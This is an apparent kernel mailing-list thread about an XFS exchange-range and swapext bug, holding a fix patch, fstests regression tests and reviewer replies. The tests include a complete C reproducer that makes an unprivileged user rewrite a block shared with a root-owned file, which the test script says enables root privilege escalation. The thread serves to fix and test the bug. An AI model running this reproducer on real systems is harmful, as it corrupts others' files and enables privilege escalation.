Skip to contentSkip to conversation

xfs: fix exchange-range-to-eof file size exchange

PATCH Applied Darrick J. Wong 5 participants 11 messages Oct 7 – Oct 12 XFS filesystem

lore
Share & tools
lore
#0 lore raw

PATCH v2 1/1 xfs: fix exchange-range-to-eof file size exchange

From: Darrick J. Wong <[email protected]>

Norbert Szetei posted a patch containing an incomplete description of a bug in XFS_IOC_EXCHANGE_RANGE's TO_EOF flag. The bug tricks exchange-range into modifying a file so that it has shared blocks starting beyond EOF, which is never allowed because files never have written data beyond EOF, and you can only share written data blocks. This is key to all the incorrect behavior that follows.

Eventually I got from Norbert a description of what's going wrong:

Quoted 37 lines

Fair. Here it is with physical block numbers, 4k blocks. peer is the file that gets rewritten and file1 is the one that ends up with the flag cleared.

Start, nothing shared:

	peer size 4096   -> [100]
	file1 size 12288 -> [200] [201] [202]
	donor1 size 4096 -> [300]
	donor2 size 4096 -> [400]

1. FICLONERANGE peer's block into file1's middle slot:

	peer size 4096   -> [100]
	file1 size 12288 -> [200] [100] [202] reflink flag set
                            ^^^^^ both files own block 100

2. XFS_IOC_EXCHANGE_RANGE file1 against donor1, file1_offset 0, file2_offset 8192, length 0, TO_EOF. One block is exchanged, and the sizes are exchanged with it:

	file1 size 4096   -> [200] [100] [300] reflink flag set
                             ^^^^^^^^^^^ still owned, now past the size
	donor1 size 12288 -> [202]

file1 says it is one block long while it still owns three. Nothing was unmapped. file2_offset is block 2, so this exchange cannot clear a flag.

3. XFS_IOC_EXCHANGE_RANGE file1 against donor2, both offsets 0, length 4096. By i_disk_size this is two one-block files exchanging everything, so xmi_can_exchange_reflink_flags() agrees and the flag is cleared:

	file1 size 4096   -> [400] [100] [300] reflink flag CLEARED
	donor2 size 4096  -> [200]

Block 100 is still shared with peer.

Quoted 8 lines

4. pwrite(file1, 4096, 4096), which is file1's second slot, block 100. xfs_is_cow_inode(file1) is false, so no CoW:

	peer size 4096 -> [100] same block, new contents

Block 100 is the only one that matters here. PoC below, it reads a file called peer in the current directory. The filesystem needs reflink and exchange-range, which mkfs.xfs 7.x turns on by default.

So yes, TO_EOF is screwing up the file size even if it's actually exchanging the data block correctly. The following is the intended behavior of XFS_EXCHANGE_RANGE_TO_EOF, as described by its manpage:

"Ignore the length parameter. All bytes in file1_fd from file1_offset
to EOF are moved to file2_fd, and file2's size is set to (file2_offset+(file1_length-file1_offset)). Meanwhile, all bytes in file2 from file2_offset to EOF are moved to file1 and file1's size is set to (file1_offset+(file2_length-file2_offset))."

In other words, if we only exchange a portion of the file data, then we should only exchange the portion of the file size that relates to the exchanged data. Unfortunately, the code swaps the ondisk file size and the incore file sizes, which is incorrect if the caller passes in a nonzero offset.

Having confused the file sizes, the PoC uses a second exchange-range call on what looks like a non-reflinked single-block file. Because the file size is set incorrectly, exchange-range thinks it's exchanging the full contents of two files and clears the reflink flag on the broken file. That enables an extending write of the broken file to rewrite the shared block that's just past EOF. This has become known colloquially as refluxfs.

Once the file sizes are set correctly, the second exchange-range no longer thinks that it's doing a full-contents swap, so it won't clear the reflink flag on either of its file arguments.

Norbert followed up to an earlier version of this patch with a second complaint about us not handling the i_disk_size state correctly:

Quoted 6 lines

The offsets are bounded against the incore i_size but subtracted from the ondisk i_disk_size, so a file that has not been written back gives xmi_isize1 = 0 + (0 - 12288).

For instance, you can do:

Quoted 9 lines
$ xfs_io -f -c "pwrite -q 0 4096" -c fsync file1
$ xfs_io -f -c "pwrite -q 0 12288" \
  -c "exchangerange -s 0 -d 12288 file1" dirty
$ stat -c %s file1
0
$ stat -c %i file1
131
$ sudo xfs_io -r -c "bulkstat_single 131" . | grep bs_size
bs_size = 18446744073709539328

That's wrong, and the new file size update logic depends on the ondisk i_disk_size matching the incore i_size, so flush the pagecache as needed to push it upwards.

Cc <[email protected]> # v6.10
Fixes 966ceafc7a4371 ("xfs: create deferred log items for file mapping exchanges")

---
v2: fix flushing of i_disk_size too

---
 fs/xfs/libxfs/xfs_exchmaps.c |   13 +++++++++--
 fs/xfs/xfs_exchrange.c       |   51 ++++++++++++++++++++++++++++++------------
 2 files changed, 48 insertions(+), 16 deletions(-)
fs/xfs/libxfs/xfs_exchmaps.c +11 -2
index 6a66b6075e0af4..20bc74f47127c3 100644
@@ -987,6 +987,7 @@ xfs_exchmaps_init_intent(
 	const struct xfs_exchmaps_req	*req)
 {
 	struct xfs_exchmaps_intent	*xmi;
+	struct xfs_mount		*mp = req->ip1->i_mount;
 	unsigned int			rs = 0;
 
 	xmi = kmem_cache_zalloc(xfs_exchmaps_intent_cache,
@@ -1005,10 +1006,18 @@ xfs_exchmaps_init_intent(
 		return xmi;
 	}
 
+	/*
+	 * If the caller wanted, set each file's size to that file's exchange
+	 * offset + length exchanged from the other file because the ranges in
+	 * each file might be different lengths.
+	 */
 	if (req->flags & XFS_EXCHMAPS_SET_SIZES) {
+		loff_t	off1 = XFS_FSB_TO_B(mp, xmi->xmi_startoff1);
+		loff_t	off2 = XFS_FSB_TO_B(mp, xmi->xmi_startoff2);
+
 		xmi->xmi_flags |= XFS_EXCHMAPS_SET_SIZES;
-		xmi->xmi_isize1 = req->ip2->i_disk_size;
-		xmi->xmi_isize2 = req->ip1->i_disk_size;
+		xmi->xmi_isize1 = off1 + (req->ip2->i_disk_size - off2);
+		xmi->xmi_isize2 = off2 + (req->ip1->i_disk_size - off1);
 	}
 
 	/* Record the state of each inode's reflink flag before the op. */
fs/xfs/xfs_exchrange.c +37 -14

75 lines not on this page · raw message

#1 lore raw

PATCH 1/1 xfs: add regression test for exchangerange-to-eof reflux

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS exchange-range ioctl. I've ported his reproducer program to fstests so that everyone can run it, and added an extra test that checks that the right thing happens if you ask the kernel to exchange unequally sized tails of two files.

---
v2: add second repro for broken first patch

---
 .gitignore                      |    2 
 src/Makefile                    |    3 -
 src/xfs-exchange-to-dirty-eof.c |  210 +++++++++++++++++++++++++++++++++++++++
 src/xfs-exchange-to-eof.c       |  168 +++++++++++++++++++++++++++++++
 tests/generic/1958              |  138 ++++++++++++++++++++++++++
 tests/generic/1958.out          |   11 ++
 6 files changed, 531 insertions(+), 1 deletion(-)
 create mode 100644 src/xfs-exchange-to-dirty-eof.c
 create mode 100644 src/xfs-exchange-to-eof.c
 create mode 100755 tests/generic/1958
 create mode 100644 tests/generic/1958.out
.gitignore +2 -0
index b5d85c9451f0a8..cdcfa06e111974 100644
@@ -186,6 +186,8 @@ tags
 /src/uuid_ioctl
 /src/writemod
 /src/writev_on_pagefault
+/src/xfs-exchange-to-eof
+/src/xfs-exchange-dirty-to-eof
 /src/xfsctl
 /src/xfsfind
 /src/aio-dio-regress/aio-dio-append-write-fallocate-race
src/Makefile +2 -1
index 04a73b76546241..211b16a832ad5d 100644
@@ -36,7 +36,8 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	fscrypt-crypt-util bulkstat_null_ocount splice-test chprojid_fail \
 	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
 	uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
-	rw_hint btrfs_ioctl refluxfs
+	rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
+	xfs-exchange-to-dirty-eof
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-exchange-to-dirty-eof.c new file +210 -0

210 lines not on this page · raw message

src/xfs-exchange-to-eof.c new file +168 -0

168 lines not on this page · raw message

tests/generic/1958 new file +138 -0

138 lines not on this page · raw message

tests/generic/1958.out new file +11 -0
new file mode 100644
index 00000000000000..a1f8c510e95de6
@@ -0,0 +1,11 @@
+QA output created by 1958
+0
+	bs_size = 0
+SCRATCH_MNT/root/lopsided1:11589255
+SCRATCH_MNT/root/lopsided2:1990990
+v3.reflink = 1
+v3.reflink = 1
+SCRATCH_MNT/root/lopsided1:11589255
+SCRATCH_MNT/root/lopsided2:1990990
+0
+	bs_size = 0
#2 lore raw

PATCH 1/1 xfs: add regression test for swapext reflux

In reply to Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

---
 src/Makefile              |    2 
 src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
 tests/xfs/1939            |   69 ++++++++++++++
 tests/xfs/1939.out        |    2 
 4 files changed, 302 insertions(+), 1 deletion(-)
 create mode 100644 src/xfs-swapext-reflink.c
 create mode 100755 tests/xfs/1939
 create mode 100644 tests/xfs/1939.out
src/Makefile +1 -1
index 211b16a832ad5d..eaf0621fc4b876 100644
@@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
 	uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
 	rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
-	xfs-exchange-to-dirty-eof
+	xfs-exchange-to-dirty-eof xfs-swapext-reflink
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-swapext-reflink.c new file +230 -0

230 lines not on this page · raw message

tests/xfs/1939 new file +69 -0

69 lines not on this page · raw message

tests/xfs/1939.out new file +2 -0
new file mode 100644
index 00000000000000..ad52293f986ac6
@@ -0,0 +1,2 @@
+QA output created by 1939
+v3.reflink = 1
#3 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 5 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

A couple things I notice -

1) this still requires EXCHRANGE?
2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently
3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if it can't, the test fails oddly

For 3) I think just dropping the $here might fix it?

su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"

-Eric

Quoted 345 lines
---
 src/Makefile              |    2 
 src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
 tests/xfs/1939            |   69 ++++++++++++++
 tests/xfs/1939.out        |    2 
 4 files changed, 302 insertions(+), 1 deletion(-)
 create mode 100644 src/xfs-swapext-reflink.c
 create mode 100755 tests/xfs/1939
 create mode 100644 tests/xfs/1939.out
src/Makefile +1 -1
index 211b16a832ad5d..eaf0621fc4b876 100644
@@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
 	uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
 	rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
-	xfs-exchange-to-dirty-eof
+	xfs-exchange-to-dirty-eof xfs-swapext-reflink
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-swapext-reflink.c new file +230 -0
new file mode 100644
index 00000000000000..e2a240d5a0af91
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0
+
+// Trick swapext into screwing up the file reflink flags after data exchange
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/fiemap.h>
+
+#ifndef FICLONERANGE
+#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
+#endif
+
+#ifndef XFS_EXCHANGE_RANGE_TO_EOF
+struct xfs_exchange_range {
+	__s32		file1_fd;
+	__u32		pad;
+	__u64		file1_offset;
+	__u64		file2_offset;
+	__u64		length;
+	__u64		flags;
+};
+#define XFS_IOC_EXCHANGE_RANGE		_IOW('X', 129, struct xfs_exchange_range)
+#define XFS_EXCHANGE_RANGE_TO_EOF	(1ULL << 0)
+#endif
+
+#ifndef XFS_IOC_SWAPEXT
+typedef struct xfs_bstime {
+	long		tv_sec;
+	__s32		tv_nsec;
+} xfs_bstime_t;
+
+struct xfs_bstat {
+	__u64		bs_ino;
+	__u16		bs_mode;
+	__u16		bs_nlink;
+	__u32		bs_uid;
+	__u32		bs_gid;
+	__u32		bs_rdev;
+	__s32		bs_blksize;
+	__s64		bs_size;
+	xfs_bstime_t	bs_atime;
+	xfs_bstime_t	bs_mtime;
+	xfs_bstime_t	bs_ctime;
+	__s64		bs_blocks;
+	__u32		bs_xflags;
+	__s32		bs_extsize;
+	__s32		bs_extents;
+	__u32		bs_gen;
+	__u16		bs_projid_lo;
+	__u16		bs_forkoff;
+	__u16		bs_projid_hi;
+	__u16		bs_sick;
+	__u16		bs_checked;
+	unsigned char	bs_pad[2];
+	__u32		bs_cowextsize;
+	__u32		bs_dmevmask;
+	__u16		bs_dmstate;
+	__u16		bs_aextents;
+};
+
+struct xfs_swapext {
+	__s64			sx_version;
+#define XFS_SX_VERSION		0
+	__s64			sx_fdtarget;
+	__s64			sx_fdtmp;
+	__s64			sx_offset;
+	__s64			sx_length;
+	char			sx_pad[16];
+	struct xfs_bstat	sx_stat;
+};
+#define XFS_IOC_SWAPEXT		_IOWR('X', 109, struct xfs_swapext)
+#endif
+
+static unsigned long blksz;
+static int peer, f1;
+
+static unsigned long long phys(int fd, unsigned long long off)
+{
+	struct { struct fiemap f; struct fiemap_extent e[1]; } q;
+
+	memset(&q, 0, sizeof q);
+	q.f.fm_start = off;
+	q.f.fm_length = blksz;
+	q.f.fm_extent_count = 1;
+	if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
+		return 0;
+	return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
+}
+
+static void show(const char *tag)
+{
+	struct stat st;
+	int i;
+
+	fstat(f1, &st);
+	printf("%-26s peer [%llu]   file1 size %5lld  [", tag, phys(peer, 0),
+	       (long long)st.st_size);
+	for (i = 0; i < 3; i++)
+		printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
+		       i == 2 ? "]\n" : "] [");
+}
+
+static int mkfile(const char *name, char fill, int blocks)
+{
+	char *buf;
+	int fd;
+
+	unlink(name);
+	fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
+	if (fd < 0)
+		return fprintf(stderr, "open %s: %m\n", name), -1;
+	buf = malloc(blocks * blksz);
+	memset(buf, fill, blocks * blksz);
+	if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
+		return fprintf(stderr, "pwrite %s: %m\n", name), -1;
+	free(buf);
+	fsync(fd);
+	return fd;
+}
+
+int main(int argc, char *argv[])
+{
+	struct xfs_exchange_range xr;
+	struct file_clone_range cr;
+	struct xfs_swapext sx;
+	char before[65536], after[65536], *buf;
+	struct statfs sfs;
+	struct stat st;
+	int d1, d2;
+
+	if (argc != 3) {
+		fprintf(stderr, "Usage: $0 dir path_to_peer\n");
+		return 2;
+	}
+
+	if (chdir(argv[1]))
+		return perror(argv[1]), 2;
+
+	if (statfs(".", &sfs))
+		return fprintf(stderr, "statfs: %m\n"), 2;
+	blksz = sfs.f_bsize;
+
+	peer = open(argv[2], O_RDONLY);
+	if (peer < 0)
+		return fprintf(stderr, "open peer: %m\n"), 2;
+	fstat(peer, &st);
+	printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
+	       st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
+	if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
+		return fprintf(stderr, "read peer: %m\n"), 2;
+	syncfs(peer);	/* so FIEMAP reports peer's real block */
+
+	f1 = mkfile("file1", 'A', 3);
+	d1 = mkfile("donor1", 'B', 1);
+	d2 = mkfile("donor2", 'C', 1);
+	if (f1 < 0 || d1 < 0 || d2 < 0)
+		return 2;
+	show("start");
+
+	/* 1. share peer's block into the middle of file1 */
+	cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
+					.src_length = blksz,
+					.dest_offset = blksz };
+	if (ioctl(f1, FICLONERANGE, &cr))
+		return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
+	show("1 FICLONERANGE");
+
+	/*
+	 * 2. exchange file1's last block against the whole of donor1 with
+	 * TO_EOF.  The sizes are exchanged too, so file1 claims one block
+	 * while still owning three.  file2_offset is block 2, so this exchange
+	 * cannot clear a reflink flag.
+	 */
+	xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
+					  .file2_offset = 2 * blksz,
+					  .length = 0,
+					  .flags = XFS_EXCHANGE_RANGE_TO_EOF };
+	if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+		return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
+	show("2 EXCHANGE_RANGE TO_EOF");
+
+	/*
+	 * 3. XFS_IOC_SWAPEXT with file1 as the target.  sx_offset is 0 and
+	 * sx_length equals both inodes' i_disk_size, so the "Verify all data
+	 * are being swapped" test passes.  xfs_swap_extent_rmap() then bounds
+	 * its remap loop with XFS_B_TO_FSB(mp, i_size_read(VFS_I(ip))), which
+	 * is one block, so file1's two mappings above its size are left in
+	 * place -- and the reflink flags are swapped anyway, clearing file1's.
+	 */
+	fsync(f1);
+	fsync(d2);
+	if (fstat(f1, &st))
+		return fprintf(stderr, "fstat file1: %m\n"), 2;
+	memset(&sx, 0, sizeof sx);
+	sx.sx_version		= XFS_SX_VERSION;
+	sx.sx_fdtarget		= f1;
+	sx.sx_fdtmp		= d2;
+	sx.sx_offset		= 0;
+	sx.sx_length		= st.st_size;
+	sx.sx_stat.bs_mtime.tv_sec  = st.st_mtim.tv_sec;
+	sx.sx_stat.bs_mtime.tv_nsec = st.st_mtim.tv_nsec;
+	sx.sx_stat.bs_ctime.tv_sec  = st.st_ctim.tv_sec;
+	sx.sx_stat.bs_ctime.tv_nsec = st.st_ctim.tv_nsec;
+	if (ioctl(f1, XFS_IOC_SWAPEXT, &sx))
+		return fprintf(stderr, "SWAPEXT: %m\n"), 2;
+	show("3 SWAPEXT");
+
+	/* 4. write to the block file1 still shares with peer */
+	buf = malloc(blksz);
+	memset(buf, 'X', blksz);
+	if (pwrite(f1, buf, blksz, blksz) != (ssize_t)blksz)
+		return fprintf(stderr, "pwrite: %m\n"), 2;
+	fsync(f1);
+	show("4 pwrite(file1, 4096)");
+
+	posix_fadvise(peer, 0, 0, POSIX_FADV_DONTNEED);
+	if (pread(peer, after, blksz, 0) != (ssize_t)blksz)
+		return fprintf(stderr, "re-read peer: %m\n"), 2;
+	printf("\npeer first byte %c -> %c   %s\n", before[0], after[0],
+	       memcmp(before, after, blksz) ? "PEER REWRITTEN" : "peer intact");
+	return memcmp(before, after, blksz) ? 0 : 1;
+}
+
+
tests/xfs/1939 new file +69 -0
new file mode 100755
index 00000000000000..b08ea09e977628
@@ -0,0 +1,69 @@
+#! /bin/bash
+# SPDX-License-Identifier: GPL-2.0
+# Copyright (c) 2026 Oracle.  All Rights Reserved.
+#
+# FS QA Test No. 1939
+#
+# Regression test for an swapext bug which unintentionally results in files
+# that share data blocks but don't have the reflink flag set.  This enables
+# attackers to rewrite shared blocks to gain root privileges, similar to
+# refluxfs.
+. ./common/preamble
+_begin_fstest auto quick swapext
+
+. ./common/filter
+. ./common/reflink
+
+_require_test_program "xfs-swapext-reflink"
+_require_user fsgqa
+_require_group fsgqa
+_require_scratch_reflink
+_require_xfs_scratch_rmapbt
+_require_cp_reflink
+
+_fixed_by_fs_commit xfs XXXXXXXXXXXXXX \
+	"xfs: stop exchanging reflink flags when exchanging mappings"
+
+_scratch_mkfs >> $seqres.full
+_scratch_mount
+
+rootdir=$SCRATCH_MNT/root
+userdir1=$SCRATCH_MNT/user1
+blksz=$(_get_file_block_size $SCRATCH_MNT)
+
+# Fill $mnt/peer with "P", run reproducer program
+mkdir -p $rootdir $userdir1
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer.copy >> $seqres.full
+$XFS_IO_PROG -f -c "pwrite -S 0x50 0 $blksz" $rootdir/peer1 >> $seqres.full
+sync
+
+chown $qa_user:$qa_group $userdir1
+chmod +r $rootdir/peer1
+
+_su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" &> $tmp.out1
+
+echo "Errors from reproducer:" >> $seqres.full
+cat $tmp.out1 >> $seqres.full
+
+# Check for file corruption
+grep -q REWRITTEN $tmp.out1 && \
+	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+# Check reflink flags
+_scratch_unmount
+_scratch_xfs_db \
+	-c "path /user1/file1" -c 'print' \
+	| grep v3.reflink
+_scratch_mount
+
+# Check for file corruption now that we've blown away all caches
+grep -q REWRITTEN $tmp.out1 && \
+	echo "$rootdir/peer1 rewritten, filesystem corrupt!"
+
+cmp -s $rootdir/peer.copy $rootdir/peer1 || \
+	echo "$rootdir/peer1 changed since its snapshot, filesystem corrupt!"
+
+_exit 0
tests/xfs/1939.out new file +2 -0
new file mode 100644
index 00000000000000..ad52293f986ac6
@@ -0,0 +1,2 @@
+QA output created by 1939
+v3.reflink = 1
#4 lore raw

Re: [PATCH] xfs: add regression test for swapext reflux

Quoted 11 lines · Eric Sandeen
Quoted 5 lines · Darrick J. Wong

From: Darrick J. Wong <[email protected]>

This is a regression test for a bug that Norbert Szetei reported in the XFS swapext ioctl. I've ported his reproducer program to fstests so that everyone can run it.

A couple things I notice -

1) this still requires EXCHRANGE?
2) if the EXCHRANGE ioctl fails with EOPNOTSUPP the test passes silently

Huh? Oh, the reproducer actually requires it. Ok, I'll add a _require clause here.

Quoted 7 lines

3) su $qa_user -c "$here/src/xfs-swapext-reflink $userdir1 $rootdir/peer1" requires $qa_user to be able to traverse to $here/src/xfs-swapext-reflink and if it can't, the test fails oddly

For 3) I think just dropping the $here might fix it?

su $qa_user -c "./src/xfs-swapext-reflink $userdir1 $rootdir/peer1"

Yeah. From commit b7cecbea22ba6d ("fstests: Add path $here before src/<file>"):

[Eryu: some tests run src/<file> as regular user, don't add $here prefix in such case, as a regular user may have no search permission on $here]

<grumble> Will fix.

--D

Quoted 348 lines

-Eric

Quoted 345 lines
---
 src/Makefile              |    2 
 src/xfs-swapext-reflink.c |  230 +++++++++++++++++++++++++++++++++++++++++++++
 tests/xfs/1939            |   69 ++++++++++++++
 tests/xfs/1939.out        |    2 
 4 files changed, 302 insertions(+), 1 deletion(-)
 create mode 100644 src/xfs-swapext-reflink.c
 create mode 100755 tests/xfs/1939
 create mode 100644 tests/xfs/1939.out
src/Makefile +1 -1
index 211b16a832ad5d..eaf0621fc4b876 100644
@@ -37,7 +37,7 @@ LINUX_TARGETS = xfsctl bstat t_mtab getdevicesize preallo_rw_pattern_reader \
 	detached_mounts_propagation ext4_resize t_readdir_3 splice2pipe \
 	uuid_ioctl t_snapshot_deleted_subvolume fiemap-fault min_dio_alignment \
 	rw_hint btrfs_ioctl refluxfs xfs-exchange-to-eof \
-	xfs-exchange-to-dirty-eof
+	xfs-exchange-to-dirty-eof xfs-swapext-reflink
 
 EXTRA_EXECS = dmerror fill2attr fill2fs fill2fs_check scaleread.sh \
 	      btrfs_crc32c_forged_name.py popdir.pl popattr.py \
src/xfs-swapext-reflink.c new file +230 -0
new file mode 100644
index 00000000000000..e2a240d5a0af91
@@ -0,0 +1,230 @@
+// SPDX-License-Identifier: GPL-2.0
+
+// Trick swapext into screwing up the file reflink flags after data exchange
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/vfs.h>
+#include <linux/fs.h>
+#include <linux/fiemap.h>
+
+#ifndef FICLONERANGE
+#define FICLONERANGE _IOW(0x94, 13, struct file_clone_range)
+#endif
+
+#ifndef XFS_EXCHANGE_RANGE_TO_EOF
+struct xfs_exchange_range {
+	__s32		file1_fd;
+	__u32		pad;
+	__u64		file1_offset;
+	__u64		file2_offset;
+	__u64		length;
+	__u64		flags;
+};
+#define XFS_IOC_EXCHANGE_RANGE		_IOW('X', 129, struct xfs_exchange_range)
+#define XFS_EXCHANGE_RANGE_TO_EOF	(1ULL << 0)
+#endif
+
+#ifndef XFS_IOC_SWAPEXT
+typedef struct xfs_bstime {
+	long		tv_sec;
+	__s32		tv_nsec;
+} xfs_bstime_t;
+
+struct xfs_bstat {
+	__u64		bs_ino;
+	__u16		bs_mode;
+	__u16		bs_nlink;
+	__u32		bs_uid;
+	__u32		bs_gid;
+	__u32		bs_rdev;
+	__s32		bs_blksize;
+	__s64		bs_size;
+	xfs_bstime_t	bs_atime;
+	xfs_bstime_t	bs_mtime;
+	xfs_bstime_t	bs_ctime;
+	__s64		bs_blocks;
+	__u32		bs_xflags;
+	__s32		bs_extsize;
+	__s32		bs_extents;
+	__u32		bs_gen;
+	__u16		bs_projid_lo;
+	__u16		bs_forkoff;
+	__u16		bs_projid_hi;
+	__u16		bs_sick;
+	__u16		bs_checked;
+	unsigned char	bs_pad[2];
+	__u32		bs_cowextsize;
+	__u32		bs_dmevmask;
+	__u16		bs_dmstate;
+	__u16		bs_aextents;
+};
+
+struct xfs_swapext {
+	__s64			sx_version;
+#define XFS_SX_VERSION		0
+	__s64			sx_fdtarget;
+	__s64			sx_fdtmp;
+	__s64			sx_offset;
+	__s64			sx_length;
+	char			sx_pad[16];
+	struct xfs_bstat	sx_stat;
+};
+#define XFS_IOC_SWAPEXT		_IOWR('X', 109, struct xfs_swapext)
+#endif
+
+static unsigned long blksz;
+static int peer, f1;
+
+static unsigned long long phys(int fd, unsigned long long off)
+{
+	struct { struct fiemap f; struct fiemap_extent e[1]; } q;
+
+	memset(&q, 0, sizeof q);
+	q.f.fm_start = off;
+	q.f.fm_length = blksz;
+	q.f.fm_extent_count = 1;
+	if (ioctl(fd, FS_IOC_FIEMAP, &q.f) || q.f.fm_mapped_extents < 1)
+		return 0;
+	return (q.e[0].fe_physical + (off - q.e[0].fe_logical)) / blksz;
+}
+
+static void show(const char *tag)
+{
+	struct stat st;
+	int i;
+
+	fstat(f1, &st);
+	printf("%-26s peer [%llu]   file1 size %5lld  [", tag, phys(peer, 0),
+	       (long long)st.st_size);
+	for (i = 0; i < 3; i++)
+		printf("%llu%s", phys(f1, (unsigned long long)i * blksz),
+		       i == 2 ? "]\n" : "] [");
+}
+
+static int mkfile(const char *name, char fill, int blocks)
+{
+	char *buf;
+	int fd;
+
+	unlink(name);
+	fd = open(name, O_RDWR | O_CREAT | O_EXCL, 0600);
+	if (fd < 0)
+		return fprintf(stderr, "open %s: %m\n", name), -1;
+	buf = malloc(blocks * blksz);
+	memset(buf, fill, blocks * blksz);
+	if (pwrite(fd, buf, blocks * blksz, 0) != (ssize_t)(blocks * blksz))
+		return fprintf(stderr, "pwrite %s: %m\n", name), -1;
+	free(buf);
+	fsync(fd);
+	return fd;
+}
+
+int main(int argc, char *argv[])
+{
+	struct xfs_exchange_range xr;
+	struct file_clone_range cr;
+	struct xfs_swapext sx;
+	char before[65536], after[65536], *buf;
+	struct statfs sfs;
+	struct stat st;
+	int d1, d2;
+
+	if (argc != 3) {
+		fprintf(stderr, "Usage: $0 dir path_to_peer\n");
+		return 2;
+	}
+
+	if (chdir(argv[1]))
+		return perror(argv[1]), 2;
+
+	if (statfs(".", &sfs))
+		return fprintf(stderr, "statfs: %m\n"), 2;
+	blksz = sfs.f_bsize;
+
+	peer = open(argv[2], O_RDONLY);
+	if (peer < 0)
+		return fprintf(stderr, "open peer: %m\n"), 2;
+	fstat(peer, &st);
+	printf("peer uid %u mode %04o size %lld, block size %lu\n\n",
+	       st.st_uid, st.st_mode & 07777, (long long)st.st_size, blksz);
+	if (pread(peer, before, blksz, 0) != (ssize_t)blksz)
+		return fprintf(stderr, "read peer: %m\n"), 2;
+	syncfs(peer);	/* so FIEMAP reports peer's real block */
+
+	f1 = mkfile("file1", 'A', 3);
+	d1 = mkfile("donor1", 'B', 1);
+	d2 = mkfile("donor2", 'C', 1);
+	if (f1 < 0 || d1 < 0 || d2 < 0)
+		return 2;
+	show("start");
+
+	/* 1. share peer's block into the middle of file1 */
+	cr = (struct file_clone_range){ .src_fd = peer, .src_offset = 0,
+					.src_length = blksz,
+					.dest_offset = blksz };
+	if (ioctl(f1, FICLONERANGE, &cr))
+		return fprintf(stderr, "FICLONERANGE: %m\n"), 2;
+	show("1 FICLONERANGE");
+
+	/*
+	 * 2. exchange file1's last block against the whole of donor1 with
+	 * TO_EOF.  The sizes are exchanged too, so file1 claims one block
+	 * while still owning three.  file2_offset is block 2, so this exchange
+	 * cannot clear a reflink flag.
+	 */
+	xr = (struct xfs_exchange_range){ .file1_fd = d1, .file1_offset = 0,
+					  .file2_offset = 2 * blksz,
+					  .length = 0,
+					  .flags = XFS_EXCHANGE_RANGE_TO_EOF };
+	if (ioctl(f1, XFS_IOC_EXCHANGE_RANGE, &xr))
+		return fprintf(stderr, "EXCHANGE_RANGE TO_EOF: %m\n"), 2;
+	show("2 EXCHANGE_RANGE TO_EOF");
+
+	/*
+	 * 3. XFS_IOC_SWAPEXT with file1 as the target.  sx_offset is 0 and
